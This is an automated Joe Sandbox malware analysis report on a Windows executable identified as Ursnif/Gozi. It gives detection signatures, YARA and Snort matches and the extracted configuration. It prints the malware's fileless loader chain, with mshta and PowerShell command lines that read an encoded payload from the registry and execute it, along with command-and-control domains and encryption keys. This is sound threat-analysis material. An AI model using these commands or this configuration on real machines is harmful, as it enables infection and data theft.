Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
main.exe

Overview

General Information

Sample Name:main.exe
Analysis ID:747122
MD5:9676298f24c8cdd4b532ac027a00f60e
SHA1:8d0bd57712533f1a889627706925c17ed4347ce5
SHA256:0f5cce66023859e9d7e3f54b78e95bf09618db5ed01fe05b765d76ab156271da
Tags:exe
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Ursnif
Antivirus / Scanner detection for submitted sample
Snort IDS alert for network traffic
Writes or reads registry keys via WMI
Machine Learning detection for sample
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • main.exe (PID: 6012 cmdline: C:\Users\user\Desktop\main.exe MD5: 9676298F24C8CDD4B532AC027A00F60E)
  • mshta.exe (PID: 2388 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>W6wy='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(W6wy).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 2620 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name fuuocwpse -value gp; new-alias -name aedsorw -value iex; aedsorw ([System.Text.Encoding]::ASCII.GetString((fuuocwpse "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 2368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "KM4KfwF73On87ceOJ9C2qHA1QYSJrKVcR1KPnCm64Rx18WdAv584/Fs7DjMWYA/P92CAZYLAmytpZxp/RUvoj4/shhReMB6+wc57XoABX3Y0RTLurW+xvOfXvhoVt46kfhqgitXVx8sdl+8o5SWuWu/7y9YXZTozHNudRTtITJp+QgPs3R5xHIQ+aiBIETSDpVUrU/tgk8bgic8LYQR02koGQgfYQZ2WQVvln9h0ldn8sklFhg+72/pBq0oc+h+HaRe4+quL+YBvG8dNVk8BoWLm/5ksmoLonANz0fig28/A3KHH0bpe4IyikjMzDALCOhzXxje1SeKcm1NpUkiB7R5Zlpm58DDCabZt3zMLEyU=", "c2_domain": ["lentaphoto.at", "iujdhsndjfks.ru", "gameindikdowd.ru", "jhgfdlkjhaoiu.su"], "botnet": "5", "server": "50", "serpent_key": "Qk6vKwBtCjaLJ4zv", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000003.379318249.00000000014A8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000000.00000003.379318249.00000000014A8000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
    • 0xff0:$a1: /C ping localhost -n %u && del "%s"
    • 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
    • 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
    • 0xca8:$a5: filename="%.4u.%lu"
    • 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xe72:$a9: &whoami=%s
    • 0xe5a:$a10: %u.%u_%u_%u_x%u
    • 0xc22:$a11: size=%u&hash=0x%08x
    • 0xc13:$a12: &uptime=%u
    • 0xda7:$a13: %systemroot%\system32\c_1252.nls
    • 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
    00000000.00000003.379318249.00000000014A8000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_261f5ac5unknownunknown
    • 0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
    • 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu"
    • 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)
    • 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\
    • 0x1c88:$a9: Software\AppDataLow\Software\Microsoft\
    00000000.00000003.379201744.00000000014A8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000000.00000003.379201744.00000000014A8000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
      • 0xff0:$a1: /C ping localhost -n %u && del "%s"
      • 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
      • 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
      • 0xca8:$a5: filename="%.4u.%lu"
      • 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
      • 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X
      • 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X
      • 0xe72:$a9: &whoami=%s
      • 0xe5a:$a10: %u.%u_%u_%u_x%u
      • 0xc22:$a11: size=%u&hash=0x%08x
      • 0xc13:$a12: &uptime=%u
      • 0xda7:$a13: %systemroot%\system32\c_1252.nls
      • 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
      Click to see the 38 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      0.2.main.exe.6d0000.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        0.2.main.exe.cb94a0.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          0.3.main.exe.14294a0.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            0.3.main.exe.1455948.2.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              0.3.main.exe.13aa4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                Click to see the 3 entries

                Sigma Signatures

                ⊘No Sigma rule has matched

                Snort Signatures

                Timestamp:192.168.2.3134.0.118.20349698802033203 11/16/22-02:14:48.026105
                SID:2033203
                Source Port:49698
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:192.168.2.3134.0.118.20349698802033204 11/16/22-02:14:48.026105
                SID:2033204
                Source Port:49698
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: main.exeVirustotal: Detection: 61%Perma Link
                Antivirus / Scanner detection for submitted sample
                Source: main.exeAvira: detected
                Machine Learning detection for sample
                Source: main.exeJoe Sandbox ML: detected
                Source: 0.2.main.exe.400000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen7
                Source: 0.0.main.exe.400000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen7
                Source: main.exeMalware Configuration Extractor: Ursnif {"RSA Public Key": "KM4KfwF73On87ceOJ9C2qHA1QYSJrKVcR1KPnCm64Rx18WdAv584/Fs7DjMWYA/P92CAZYLAmytpZxp/RUvoj4/shhReMB6+wc57XoABX3Y0RTLurW+xvOfXvhoVt46kfhqgitXVx8sdl+8o5SWuWu/7y9YXZTozHNudRTtITJp+QgPs3R5xHIQ+aiBIETSDpVUrU/tgk8bgic8LYQR02koGQgfYQZ2WQVvln9h0ldn8sklFhg+72/pBq0oc+h+HaRe4+quL+YBvG8dNVk8BoWLm/5ksmoLonANz0fig28/A3KHH0bpe4IyikjMzDALCOhzXxje1SeKcm1NpUkiB7R5Zlpm58DDCabZt3zMLEyU=", "c2_domain": ["lentaphoto.at", "iujdhsndjfks.ru", "gameindikdowd.ru", "jhgfdlkjhaoiu.su"], "botnet": "5", "server": "50", "serpent_key": "Qk6vKwBtCjaLJ4zv", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}
                Source: C:\Users\user\Desktop\main.exeCode function: 0_2_006D47E5 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,0_2_006D47E5